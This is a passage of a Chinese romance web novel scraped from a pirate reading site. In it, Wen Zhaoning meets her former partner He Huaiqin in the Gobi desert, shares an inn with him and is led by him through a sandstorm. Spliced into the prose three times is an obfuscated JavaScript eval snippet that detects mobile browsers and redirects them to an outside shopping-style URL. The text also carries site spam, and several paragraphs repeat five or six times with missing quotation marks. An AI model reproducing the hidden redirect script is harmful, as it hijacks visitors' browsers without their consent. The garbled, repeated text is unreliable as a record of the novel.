等待了几秒后,车窗在她面前平稳地降落了下来。 首先映入眼帘的,是一截线条干净利落的下颌和微微抿着的薄唇,然后,是挺直的鼻梁和一副遮住了眼睛的深色飞行墨镜。 温昭宁求助的微笑,在看清楚那张脸的瞬间,彻底僵住了。 竟然是贺淮钦! 她做梦都没有想到,自己会在这片距离沪城千里之遥的西北戈壁上遇到两个多月没见的贺淮钦。 贺淮钦穿着冲锋衣,墨镜遮住了他的眼睛,让人无法窥探他此刻的情绪,但他周身散发的气场,还是一如既往的强大。 温昭宁的手还维持着叩窗的姿势,忘了放下,她就那么怔怔地站着,隔着降下的车窗,与车内的贺淮钦无声地对视着。 “你……你怎么在这儿?”温昭宁难以置信。 世界这么大,他们在这里偶遇的概率都堪比中彩票了吧。 “旅行。”贺淮钦比较淡定,“你呢?” “我也旅行。” 他看她一人一行李箱站在路面:“腿着旅行?” 温昭宁窘:“不是的,我刚刚遇到黑车了,司机把我拉到半路就开始坐地起价,我当然不能让他得逞,助纣为虐,所以我……” 她越说气势越弱。 “所以你就英勇无畏地下了车,站在这前不着村后不着店的半路上等有缘人?你是不是出门的时候把安全意识忘家里了?” “……” 两个多月不见,这人 还是那么毒舌,可温昭宁的心里没有升起任何的负面情绪,反而有种释然的感觉。 这段时间,在家里母亲、舅舅和舅妈他们每一个人和她说话,都带着一种小心翼翼的感觉,用词斟酌,语气温和得近乎刻意,眼神里也总是藏着担忧和打量,他们习惯性地把她当成一个需要被精心呵护的瓷娃娃。 温昭宁当然也知道他们是太爱她,但这种被特殊对待,被时刻保护起来的感觉,有时候反而就像一层无形的茧,将她与真实的世界和正常的人际交往隔离开来,时刻提醒着她“你是个病人。 她已经很久很久没有听过有人用这样直接的口吻和她说过话了,她竟然觉得还不赖。 “这不是遇到贺律了嘛。温昭宁冲他笑,“贺律好心搭我一程呗? “你怎么知道我不是黑车?你怎么知道我不会坐地起价? “价钱随你开,我会从那二十**支给你的。 “花我的钱使唤我,你倒是大方。他指了指后座,“上车。 说更新,记住域名caixs**(请来才小 说 看最新章节 完整章节)—— 温昭宁上了贺淮钦的车。 车厢里,萦绕着一丝新车的皮革气息和熟悉的清洌香气。 她稍显局促,但相比站在原地打不到车的窘迫,这点局促根本算不上什么。 “去哪儿? 温昭宁报了自己预定的旅店名字。 贺淮钦输入导航,发动车子,车子平稳地起步向前。 一路上,两人都没有说话,四周静悄悄的,只有车轮碾过碎石的声音和偶尔车身剧烈颠簸时发出的闷响。 开了大概一个多小时后,视线中终于出现了一栋建筑的轮廓,那就是温昭宁预定的旅店。 这个旅店是她提前做过攻略的,红砖垒砌的外观,带着原始又粗犷的美感,与周围的戈壁山脉完美相融,仿佛是这片大地的守护者。 来过这里的网友都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178442|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,住在这里,清晨能被戈壁日出唤醒,夜晚可以枕着璀璨星河入眠,体验感非常不错,最最重要的是,老板娘人很好。 温昭宁就是冲着这句“老板娘人很好拍板定下的,自从她开了民宿后,就深刻地理解了那句“老板的好坏往往决定了一家店的温度,老板是一家店核心文化的源头,只有老板好,在这个场域里,善意、尊重和专业才得以流 动。 “到了。 贺淮钦把车停在旅店门口。 “好的,谢谢贺律了。 温昭宁解开安全带,正要下车,贺淮钦已经先她一步下了车。 戈壁午后白炽的阳光,毫无遮拦地倾泻在他的身上,耀得他身姿挺拔,动作利落。他绕过车头,走到温昭宁这一侧的后车门旁,伸手,拉开车门,拎起温昭宁的行李箱,稳稳地提了出来。 “不用麻烦了,我自己来…… 温昭宁话还没有说完,贺淮钦已经转身,朝着旅店那扇敞开的大门走去。 她赶紧跳下车,跟上去。 旅店门口挂着透明的门帘,贺淮钦走到门口,用空着的那只手撩起了门帘,侧身停下来,等她先过。 温昭宁一愣。 他冲她歪了一下头:“进去啊。 “哦,谢谢。 温昭宁从他身旁擦过,闻到他身上清洌干净的男性气息,比车上闻到的更浓烈,她的脸开始发烫。 旅店的老板娘大概四十岁左右,长着一张国泰民安的脸,看起来很端庄也很和善。 “你好,请问两位有预定嘛?老板娘问。 “我预定了。 “好的,麻烦把身份证给我一下。 温昭宁把身份证递给老板娘,老板娘很快帮她办理好了入住。 “温小姐,欢迎入住我们旅店,你的房间在二楼中间的6号房。老板娘把门卡和押金条递给温昭宁,“有什么需要,随时打前台电话。 “好。 温昭宁接过门卡和押金条,道了声谢,然后转过身,看向一直沉默立在她身旁的男人。 “贺律,你住哪儿啊? “我也住这里。 第129章 热水器坏了 贺淮钦话音落下,前台的老板娘愣了愣。 他住这里吗? 怎么一点印象都没有? 不应该啊,这张脸帅成这样,如果她接待过,不可能不记得。 老板娘觉得奇怪,但她没有开口说话。 “这么巧! 贺淮钦的视线扫过温昭宁捏在手里的那张房卡:“二楼,你隔壁。 老板娘的表情顿时精彩了起来。 这小伙子也太能编了,二楼6号房隔壁的两间房都有人住了,房客都是女人,他住的是哪门子的隔壁? 温昭宁见贺淮钦语气平淡,表情自然,根本没有一点怀疑,她只是觉得这实在是太巧了。 “这也太巧了吧! “是挺巧的。 “那走吧,一起上去? 贺淮钦眉心跳了一下。 “你先上去。他没有动,声音低沉,“我抽根烟再上去。 说着,他已经从裤子口袋里摸出了烟盒和打火机,眼神示意她可以先走。 温昭宁看他一眼,他脸上依旧是那副平静无波的样子,指尖已经从烟盒里抽出了一支烟。 这一路过来,他也开了挺久的车,现在想抽根烟休息一下,再正常不过。 “好,那我先上去了。 “嗯。 贺淮钦捏着烟淡定自若地往大门口走,余光却一直留意着温昭宁,等温昭宁的身影消失在楼梯拐角,他立刻捏着那支未点燃的烟折回来,重新站到前台。 “老板,开间房。他把自己的身份证放在前台的桌面上,补充道,“我要二楼,刚才那位温小姐隔壁的房间。 “抱歉先生,6号隔壁的两间房都有人住着。 贺淮钦一怔,这倒是他万万没想到的。 老板娘打量贺淮钦一眼,直截了当地说:“小伙子,刚刚你和温小姐的对话,我听得一清二楚,你明明没有在我们旅店入住,为什么要对她说谎? 贺淮钦还没回答,老板娘往前探了探身,压低了声音,语气里的警告意味浓了几分:“我看你穿得挺体面,人也长得周正,不像是坏人,我希望你没有歹心,但如果你要是敢对我们这儿的独身女客人图谋不轨,那 我可把丑话说在前头,只要有我在,我绝对不会允许你乱来!” 老板娘的眼神锐利,态度强硬。 贺淮钦见老板娘如此,知道简单地搪塞在这里恐怕行不通,而且,老板娘这样保护她的客人,也让他感觉动容。 “老板娘,你别误会。”贺淮钦开口,声音多了几分真诚,“我和刚才那位温小姐是……朋友。” “朋友?”老板娘的耳朵就像是雷达,一下就听出了他对这个身份的迟疑。 贺淮钦点点头:“我们现在,就只是朋友。” 老板娘大概猜到了什么,但她没有多问,多问下去,就超出她该管控的范围了。 “温小姐之前生了一场病,心情一直不太好,这次她一个人跑到这么远的地方来散心,我不是很放心。所以,在了解到她的行程后,我就悄悄跟了过来。” 贺淮钦是从青柠口中得知温昭宁要来西北旅行的事情的,他这次过来,也纯属就是碰运气,没想到,还真的能偶遇她。 既然遇到了,当然是住在一个旅店更方便照应。 “我对她并没有图谋不轨的意思,只是想着如果能住得近一点,万一她有什么需要帮忙的地方,也能有个照应。” 老板娘脸上的警惕和质疑,随着贺淮钦的解释渐渐消融了。 她常年在这里,见过形形**的人,眼前这个男人,气质出众,看着确实不像是地痞无赖,眼神虽深,但也没有邪气,最主要的是,他提到温小姐“生病”、“一个人散心”时,那种下意识流露出来的关心,不像是作假。 “原来是这样,抱歉,是我误会了。”老板娘拿过贺淮钦的身份证,在前台的电脑上一顿操作后,把一张房卡递给了贺淮钦,“6号房间隔壁的两间房的确有人住了,但是,6号房对面的房间昨天刚空出来,收拾得干干净净的,你就住她对面吧,对面也算隔壁。” “好的,谢谢。”—— 温昭宁上楼后,先收拾了一下自己的行李,把该挂的衣服挂好后,她就想去冲个澡洗个头,洗一洗自己这一身风尘和汗渍。 她脱掉了沾满沙尘的外衣,走进浴室。 这刚打湿头发,挤上洗发水,揉搓出泡沫,热水器忽然不出水了。 这是没电了?还是坏了? 温昭宁试图重新打开热水器的开关,可是,热水器依然毫无反应。 她有点无奈,只好用毛巾胡乱包住满是泡沫的头,套上自己准备好的浴袍,走到房间里的座机旁给前台打电话。 老板娘听说她正在洗澡的过程中热水器坏了,立刻向她表达了歉意,并表示马上安排人来修理。 一分钟都不到,温昭宁的房门口就响起了敲门声。 温昭宁连忙走过去开门。 “实在抱歉,温小姐,我们这就安排人员维修。老板娘一边道歉一边指挥维修人员进入浴室。 对面的贺淮钦听到动静,打开门来。 “怎么了?他问。 “我的热水器坏了。温昭宁回答。 贺淮钦看她一眼,她的湿发被一块白色的毛巾潦草地包着,边缘还有未洗净的泡沫,浴袍虽然裹得严实,但她脖子里也有未干的水痕和残余的泡沫。 现在的温昭宁看起来就像是一只落难后刚被捞起来,还惊魂未定的小动物。 他的目光从她身上挪开,指了指自己的房间说:“我房间的热水器能用,你先过去洗一下。 不是询问“要不要,也不是客套的“你可以用我的,而是直接告诉她“我那里有热水,你先去用。 这语气,过分熟稔了。 温昭宁觉得这多少有点不合适,毕竟他们现在已经不是可以共用浴室的关系了,可是,她头上冰冷黏腻的泡沫,还有空调的冷气都让她开始打颤。 “温小姐,实在抱歉,你先去贺先生那里洗一下吧,维修师傅说这不是一时半会儿可以修好的,你别着凉了才好。老板娘走出来说。 既然如此,温昭宁也不再坚持了。 “好,那就麻烦了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 温昭宁试图重新打开热水器的开关可是热水器依然毫无反应。 她有点无奈只好用毛巾胡乱包住满是泡沫的头套上自己准备好的浴袍走到房间里的座机旁给前台打电话。 老板娘听说她正在洗澡的过程中热水器坏了立刻向她表达了歉意并表示马上安排人来修理。 一分钟都不到温昭宁的房门口就响起了敲门声。 温昭宁连忙走过去开门。 “实在抱歉温小姐我们这就安排人员维修。”老板娘一边道歉一边指挥维修人员进入浴室。 对面的贺淮钦听到动静打开门来。 “怎么了?”他问。 “我的热水器坏了。”温昭宁回答。 贺淮钦看她一眼 现在的温昭宁看起来就像是一只落难后刚被捞起来还惊魂未定的小动物。 他的目光从她身上挪开指了指自己的房间说:“我房间的热水器能用你先过去洗一下。” 不是询问“要不要”也不是客套的“你可以用我的”而是直接告诉她“我那里有热水你先去用”。 这语气过分熟稔了。 温昭宁觉得这多少有点不合适毕竟他们现在已经不是可以共用浴室的关系了可是她头上冰冷黏腻的泡沫还有空调的冷气都让她开始打颤。 “温小姐实在抱歉你先去贺先生那里洗一下吧维修师傅说这不是一时半会儿可以修好的你别着凉了才好。”老板娘走出来说。 既然如此温昭宁也不再坚持了。 “好那就麻烦了。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 温昭宁试图重新打开热水器的开关,可是,热水器依然毫无反应。 她有点无奈,只好用毛巾胡乱包住满是泡沫的头,套上自己准备好的浴袍,走到房间里的座机旁给前台打电话。 老板娘听说她正在洗澡的过程中热水器坏了,立刻向她表达了歉意,并表示马上安排人来修理。 一分钟都不到,温昭宁的房门口就响起了敲门声。 温昭宁连忙走过去开门。 “实在抱歉,温小姐,我们这就安排人员维修。”老板娘一边道歉一边指挥维修人员进入浴室。 对面的贺淮钦听到动静,打开门来。 “怎么了?”他问。 “我的热水器坏了。”温昭宁回答。 贺淮钦看她一眼,她的湿发被一块白色的毛巾潦草地包着,边缘还有未洗净的泡沫,浴袍虽然裹得严实,但她脖子里也有未干的水痕和残余的泡沫。 现在的温昭宁看起来就像是一只落难后刚被捞起来,还惊魂未定的小动物。 他的目光从她身上挪开,指了指自己的房间说:“我房间的热水器能用,你先过去洗一下。” 不是询问“要不要”,也不是客套的“你可以用我的”,而是直接告诉她“我那里有热水,你先去用”。 这语气,过分熟稔了。 温昭宁觉得这多少有点不合适,毕竟他们现在已经不是可以共用浴室的关系了,可是,她头上冰冷黏腻的泡沫,还有空调的冷气都让她开始打颤。 “温小姐,实在抱歉,你先去贺先生那里洗一下吧,维修师傅说这不是一时半会儿可以修好的,你别着凉了才好。”老板娘走出来说。 既然如此,温昭宁也不再坚持了。 “好,那就麻烦了。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 温昭宁试图重新打开热水器的开关,可是,热水器依然毫无反应。 她有点无奈,只好用毛巾胡乱包住满是泡沫的头,套上自己准备好的浴袍,走到房间里的座机旁给前台打电话。 老板娘听说她正在洗澡的过程中热水器坏了,立刻向她表达了歉意,并表示马上安排人来修理。 一分钟都不到,温昭宁的房门口就响起了敲门声。 温昭宁连忙走过去开门。 “实在抱歉,温小姐,我们这就安排人员维修。老板娘一边道歉一边指挥维修人员进入浴室。 对面的贺淮钦听到动静,打开门来。 “怎么了?他问。 “我的热水器坏了。温昭宁回答。 贺淮钦看她一眼,她的湿发被一块白色的毛巾潦草地包着,边缘还有未洗净的泡沫,浴袍虽然裹得严实,但她脖子里也有未干的水痕和残余的泡沫。 现在的温昭宁看起来就像是一只落难后刚被捞起来,还惊魂未定的小动物。 他的目光从她身上挪开,指了指自己的房间说:“我房间的热水器能用,你先过去洗一下。 不是询问“要不要,也不是客套的“你可以用我的,而是直接告诉她“我那里有热水,你先去用 这语气,过分熟稔了。 温昭宁觉得这多少有点不合适,毕竟他们现在已经不是可以共用浴室的关系了,可是,她头上冰冷黏腻的泡沫,还有空调的冷气都让她开始打颤。 “温小姐,实在抱歉,你先去贺先生那里洗一下吧,维修师傅说这不是一时半会儿可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178443|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以修好的,你别着凉了才好。老板娘走出来说。 既然如此,温昭宁也不再坚持了。 “好,那就麻烦了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 温昭宁试图重新打开热水器的开关,可是,热水器依然毫无反应。 她有点无奈,只好用毛巾胡乱包住满是泡沫的头,套上自己准备好的浴袍,走到房间里的座机旁给前台打电话。 老板娘听说她正在洗澡的过程中热水器坏了,立刻向她表达了歉意,并表示马上安排人来修理。 一分钟都不到,温昭宁的房门口就响起了敲门声。 温昭宁连忙走过去开门。 “实在抱歉,温小姐,我们这就安排人员维修。老板娘一边道歉一边指挥维修人员进入浴室。 对面的贺淮钦听到动静,打开门来。 “怎么了?他问。 “我的热水器坏了。 贺淮钦看她一眼,她的湿发被一块白色的毛巾潦草地包着,边缘还有未洗净的泡沫,浴袍虽然裹得严实,但她脖子里也有未干的水痕和残余的泡沫。 现在的温昭宁看起来就像是一只落难后刚被捞起来,还惊魂未定的小动物。 他的目光从她身上挪开,指了指自己的房间说:“我房间的热水器能用,你先过去洗一下。 不是询问“要不要,也不是客套的“你可以用我的,而是直接告诉她“我那里有热水,你先去用。 这语气,过分熟稔了。 温昭宁觉得这多少有点不合适,毕竟他们现在已经不是可以共用浴室的关系了,可是,她头上冰冷黏腻的泡沫,还有空调的冷气都让她开始打颤。 “温小姐,实在抱歉,你先去贺先生那里洗一下吧,维修师傅说这不是一时半会儿可以修好的,你别着凉了才好。老板娘走出来说。 既然如此,温昭宁也不再坚持了。 “好,那就麻烦了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 温昭宁试图重新打开热水器的开关,可是,热水器依然毫无反应。 她有点无奈,只好用毛巾胡乱包住满是泡沫的头,套上自己准备好的浴袍,走到房间里的座机旁给前台打电话。 老板娘听说她正在洗澡的过程中热水器坏了,立刻向她表达了歉意,并表示马上安排人来修理。 一分钟都不到,温昭宁的房门口就响起了敲门声。 温昭宁连忙走过去开门。 “实在抱歉,温小姐,我们这就安排人员维修。”老板娘一边道歉一边指挥维修人员进入浴室。 对面的贺淮钦听到动静,打开门来。 “怎么了?”他问。 “我的热水器坏了。”温昭宁回答。 贺淮钦看她一眼,她的湿发被一块白色的毛巾潦草地包着,边缘还有未洗净的泡沫,浴袍虽然裹得严实,但她脖子里也有未干的水痕和残余的泡沫。 现在的温昭宁看起来就像是一只落难后刚被捞起来,还惊魂未定的小动物。 他的目光从她身上挪开,指了指自己的房间说:“我房间的热水器能用,你先过去洗一下。” 不是询问“要不要”,也不是客套的“你可以用我的”,而是直接告诉她“我那里有热水,你先去用”。 这语气,过分熟稔了。 温昭宁觉得这多少有点不合适,毕竟他们现在已经不是可以共用浴室的关系了,可是,她头上冰冷黏腻的泡沫,还有空调的冷气都让她开始打颤。 “温小姐,实在抱歉,你先去贺先生那里洗一下吧,维修师傅说这不是一时半会儿可以修好的,你别着凉了才好。”老板娘走出来说。 既然如此,温昭宁也不再坚持了。 “好,那就麻烦了。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 温昭宁试图重新打开热水器的开关,可是,热水器依然毫无反应。 她有点无奈,只好用毛巾胡乱包住满是泡沫的头,套上自己准备好的浴袍,走到房间里的座机旁给前台打电话。 老板娘听说她正在洗澡的过程中热水器坏了,立刻向她表达了歉意,并表示马上安排人来修理。 一分钟都不到,温昭宁的房门口就响起了敲门声。 温昭宁连忙走过去开门。 “实在抱歉,温小姐,我们这就安排人员维修。 对面的贺淮钦听到动静,打开门来。 “怎么了?他问。 “我的热水器坏了。温昭宁回答。 贺淮钦看她一眼,她的湿发被一块白色的毛巾潦草地包着,边缘还有未洗净的泡沫,浴袍虽然裹得严实,但她脖子里也有未干的水痕和残余的泡沫。 现在的温昭宁看起来就像是一只落难后刚被捞起来,还惊魂未定的小动物。 他的目光从她身上挪开,指了指自己的房间说:“我房间的热水器能用,你先过去洗一下。 不是询问“要不要,也不是客套的“你可以用我的,而是直接告诉她“我那里有热水,你先去用。 这语气,过分熟稔了。 温昭宁觉得这多少有点不合适,毕竟他们现在已经不是可以共用浴室的关系了,可是,她头上冰冷黏腻的泡沫,还有空调的冷气都让她开始打颤。 “温小姐,实在抱歉,你先去贺先生那里洗一下吧,维修师傅说这不是一时半会儿可以修好的,你别着凉了才好。老板娘走出来说。 既然如此,温昭宁也不再坚持了。 “好,那就麻烦了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第130章 脚链 温昭宁收拾了一下自己要换洗的衣物,放在袋子里,拎着走向对面那扇敞开的门。 贺淮钦跟在她身后,和她保持着一步的距离。 两个房间,格局几乎一模一样,但贺淮钦的房间里,整整齐齐,一丝不苟的,看样子,好像没有人住过。 “你这里怎么好像没住过?”温昭宁问。 贺淮钦:“……” 她观察得还挺仔细,差点就露馅了。 “咳……早上工作人员收拾过了。”贺淮钦指了指浴室,扯开她的注意力,“里面的东西都是早上换过的,你想用都可以用。” “不用了,东西我都带了,谢谢。” 温昭宁走进浴室,反手关上了门。 浴室里很快响起了水声。 贺淮钦目光沉了沉,没有停留,走出了房间,关上了房门。 温昭宁洗得很快,近乎战斗般地冲洗干净头发和身体上的泡沫,用自带的浴巾和毛巾擦干身体和头发,换上了睡裙。 用完浴室,她处理了一下地面上的头发和台面上的水痕,才走出来。 贺淮钦并不在房间里。 温昭宁目光扫过空荡荡的房间,床铺整洁,没有落坐的痕迹,只有手机放在床头柜上充电。 他出去了,为了避嫌。 这个认知让她心里紧绷的弦松了松,却又泛起一丝极其细微的空落。 温昭宁摇了摇头,甩开这种莫名其妙的感觉,拉开了房门。 贺淮钦就站在门外,他靠墙倚着,走廊的灯光从他身侧照过来,将他的身影拉得很长。 两人的目光,在骤然缩短的距离里,猝不及防地撞在了一起。 温昭宁的身上,还带着沐浴后的潮气和干净的皂香,她发梢湿润,脸颊微红,穿着白色的睡裙,像朵纯洁娇俏的晚香玉。 “我洗好了,谢谢。”温昭宁说。 贺淮钦“嗯”了一声,不想用眼神冒犯她,所以本能地低头,可当他的目光向下,却一不小心瞥到了她脚踝上的脚链。 那是一条白金脚链。 脚链细若发丝,走动时光华流转,链子的中央,缀着一颗非常非常小的月光石。 是贺淮钦送给温昭宁的脚链。 这两年里,两人 分分合合,每次分手,温昭宁都会把贺淮钦送的礼物归还,这是唯一一件她没有退还给他的礼物。 她竟然一直戴着! 贺淮钦愣神。 “我在威尼斯看到的。” “当地有个古老的说法,脚链栓住今生,系住来世。” “但这不是栓住,是陪伴。” “……” 那些甜蜜的回忆,在这一刻,都清晰地在脑海里闪回出来。 贺淮钦的目光,紧紧盯着那条细细的脚链,他的脸上没什么表情,但那双深黑的眼眸里,却像是骤然掀起了暗涌。 温昭宁顺着他的目光,也低头看到了自己脚踝上的脚链,一瞬间,血液仿佛都冲向了脸颊,烧得她耳根发烫。 怎么就这么大意?竟然被他看到了这条脚链! “那个……因为它在脚上……我平常注意不到……所以忘摘了……” 这是一个非常蹩脚的理由,但贺淮钦并没有说什么。 恰巧,老板娘走了出来。 “温小姐,热水器修好了,实在抱歉,让你遇到这么尴尬的事情,这样吧,作为补偿,今天的房费我给你打对折。” “好的,谢谢。” “应该的,浴室已经给你打扫干净了,你进去休息吧。” “好。” 温昭宁冲贺淮钦点点头,赶紧走进了自己的房间。—— 戈壁的夜,与白日截然不同。 当最后一缕天光被地平线吞噬,无垠的黑暗便如同最厚重的丝绒,温柔又霸道地覆盖下来。 没有城市的霓虹污染,没有树木的遮挡,这里的星空美得让人震撼。 温昭宁睡不着,就披了衣服站在窗口看星星。 浩瀚。 除了这个词,她找不到任何其他语言来形容眼前景象。 深蓝到近乎墨黑的天幕上,无数大小不一、明暗各异的星辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184224|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如同被精心镶嵌在这块巨大黑丝绒上的钻石,密密麻麻,闪烁不定,它们彼此辉映,交织成一幅无与伦比的立体星图。 在这幅宏大的超越人类想象的宇宙图景面前,一切个人的喜怒哀乐、爱恨情仇、得失计较都显得那么微不足道,那么渺小如尘。 温昭宁觉得,在星空的凝视下,曾经对她 而言沉重无比的东西,仿佛被一股无形的力量轻轻托起,放逐到了更广阔的维度里,它们依然存在,但不再具有压垮她的重量。 是啊,宇宙如此之大,时间如此之长,而人的一生,爱恨一场,不过百年,所有执着、痛苦和不甘,根本不值得耗费那么多心神反复去咀嚼。 那一晚,温昭宁虽然还是有些失眠,但她的心境被这星光洗涤过后,竟也奇妙地开阔平静了起来,失眠的底色,不再是焦虑、彷徨和自我折磨,而是对明日旅程的期待。 第二天一早的戈壁,在晨光中显露出温柔开阔的面貌,天空是那种清澈的近乎透明的蓝,远处沙丘的曲线,在柔和的光线里,呈现出细腻而富有韵律的阴影,像凝固的金色波浪。 温昭宁起得很早,昨夜那点失眠并未影响她的兴致,她洗漱好后,就下楼去吃早餐。 旅店的早餐选择不多,温昭宁拿了一个烤得金黄的馕饼,又要了一杯咸香的奶茶,刚坐下,就看到餐厅的入口处贺淮钦走了进来。 他今天穿着一件干净的浅灰色亚麻衬衫,袖子随意挽到手肘,露出线条清晰的小臂,墨镜顶在头上,没有遮住眼睛,五官在晨光中显得格外深刻。 贺淮钦走进餐厅后,点了一碗面,然后,目光在餐厅里扫视了一圈,看到温昭宁的那一秒,他没有任何停顿地径直朝她这边走了过来。 温昭宁握着奶茶杯的手紧了一下,她低下头,假装专注手里的那个馕饼。 贺淮钦在她面前停下。 “早。他开口和她打招呼,声音低沉。 “早。温昭宁不得不抬起头,朝他扬起一个笑脸。 贺淮钦很自然地将面碗放下,拉开椅子,在她对面的空位坐了下来。 第131章 沙尘暴 他的动作流畅到仿佛他们本就是约好了一起早餐的同伴。 温昭宁默默地加快了啃饼的速度。 贺淮钦一边挑起一筷子面条凉一凉一边抬眸看着她:“你今天打算去哪里?” “去东边的戈壁和沙丘看看听说那里可以骑骆驼。” “起骆驼?” “嗯。” 贺淮钦点点头没什么表情只是提醒一句:“戈壁天气多变注意安全。” “嗯我会注意的。” 对话很平常甚至带着点客套的意味。 很快餐桌上陷入沉默。 温昭宁的馕饼有些硬她掰了一小块慢慢地嚼着。 也许是觉得刚才的对话过于简短也许是出于一种“礼尚往来”的心态她也开口问:“你呢你今天去哪里?” “没想好。”贺淮钦声音平淡“附近随便走走。” 温昭宁觉得不可思议像贺淮钦这样的大佬平日里的行程可是精确到分秒的这趟旅程这么随意? 不过她没有多问。 毕竟这与她无关。 吃完早餐后温昭宁和贺淮钦告了个别便搭上了当地牧民组织的观光车前往附近一处有小型绿洲和沙丘的观光点同行的还有其他几个散客气氛轻松。 其实骑骆驼是青柠的愿望。 温昭宁这次出发之前青柠就千叮咛万嘱咐说:“妈妈我从来没有看到过骆驼你这次出去玩如果看到骆驼一定要骑一骑然后拍照给我看!” 温昭宁答应了青柠自然要去履行承诺。 到达景点后温昭宁在牧民大叔的指导下顺利地骑上了骆驼骆驼起身时那一下颠簸让她低呼出声但很快她就适应了。 骆驼的步伐缓慢而沉稳带着一种古老的节奏行走在松软的沙地上。 温昭宁的视野瞬间被拔高广袤的戈壁和远处连绵的沙丘尽收眼底风拂过脸颊带着沙粒特有的细微摩擦感。 温昭宁拿出手机对着前方蜿蜒的驼队、起伏的沙丘、还有自己倒映在沙地上的影子拍下一张又一张照片。 镜头里她的笑容是放松的眼神映着戈壁的阳光明亮而充满生气。 昨夜 浩瀚的星空,今天辽阔的沙漠,自然的广阔豁达,疗愈了她的心。 驼队走到规定的地点后,温昭宁下来,挑选了几张她最满意的照片,发了朋友圈。 她的文案是:“大漠风尘,驼铃悠远,天地广阔,心亦随之。 这是她生病后发的第一条朋友圈,很快就收获了很多的点赞。 母亲是第一个给她点赞的,还在下面评论了一排大拇指,紧接着,边雨棠、鹿鹿她们都赶来了。 苏云溪更是直接给她打了视频电话。 “宝贝,终于看到你的照片了,你状态看起来非常明媚灿烂,我的宁宁终于又回来了,爱你。 “我也爱你,等我回来,给你带礼物。 “好,能给我带一头骆驼吗? “这有点超出了我的能力范围,不过如果你真的想要,我相信霍郁州绝对有能力给你弄一头骆驼回来。 “我开玩笑的啦,你好好玩吧,等你回来我们再聚。 “好。—— 戈壁的天气,还真如贺淮钦所说,说变就变。 上午,还晴空**,风和日丽,临近中午的时候,远方的天际线不知不觉悄然蒙上了一层浑浊的土黄色阴云。 起初谁也没有在意,只当是远处起了风沙,但很快,那阴云以肉眼可见的速度极速地膨胀、推进,如同千军万马奔腾而来,原本清澈的蓝天,迅速被吞噬,光线骤然昏暗下来。 风势逐渐变大,带着呼啸的力度,卷起地面上的沙粒,打在脸上生疼。 “不好,沙尘暴要来了!经验丰富的牧民大叔脸色一变,用生硬的汉语急促地喊道:“快,沙尘暴来了,大家赶紧找地方躲避! 现场顿时乱做了一团。 游客们惊慌失措地抓起自己的东西,在越来越猛烈的风沙中前行。 温昭宁被风吹得睁不开眼睛,她头上那顶宽檐的遮阳帽像一片失去控制的落叶,瞬间从她头上飞走,打了个旋儿,落在地上。 “我的帽子!温昭宁本能地喊了声,弯腰去摸索自己的帽子。 这顶帽子虽然不值钱,但是这是她出发之前母亲和青柠特地去镇上给她买的。 就在她即将要捡到自己的帽子时,有一个人先她一步捡到了她的 帽子。 风沙弥漫视线模糊但那个轮廓那挺拔的身姿即使蒙着一层沙尘她也绝对不会认错。 是贺淮钦。 “你怎么在这里?”她脱口而出声音因为灌了沙子变了调。 贺淮钦没有回答他迈开大步顶着狂风迅速走到了她的面前然后他抬起手在温昭宁反应过来之前毫不犹豫地摘下了架在他鼻梁上的那副墨镜稳稳地戴到了温昭宁的脸上。 镜片瞬间隔绝了大部分狂暴袭来的沙粒视野虽然依旧昏黄但温昭宁至少能睁开眼睛了。 紧接着贺淮钦又从外套的内侧口袋里掏出了一方折叠整齐的灰色手帕他将手帕塞进了温昭宁的手里大声地说:“捂住口鼻跟着我。” 他说完顺势牵住了温昭宁的手往前走去。 温昭宁早已失去了方向感只能任由他牵着亦步亦趋地跟着他。 在她不太明朗的视线里是贺淮钦宽阔而坚定的背影和那只紧紧抓着她的干燥而有力的大手。 风声、沙暴的咆哮声心脏的狂跳声混杂在一起。 贺淮钦的判断是正确的他没有跟着大部队往前逃而是拽着温昭宁逆着风沙 那是一个早已废弃的地质监测站低矮的水泥平房窗户都用木板封**门是厚重的铁皮已经锈迹斑斑。 贺淮钦带着温昭宁径直冲到那扇铁门前打开了插销将她往里一推自己也快速跟进来用身体堵住了门。 “咣当”一声闷响。 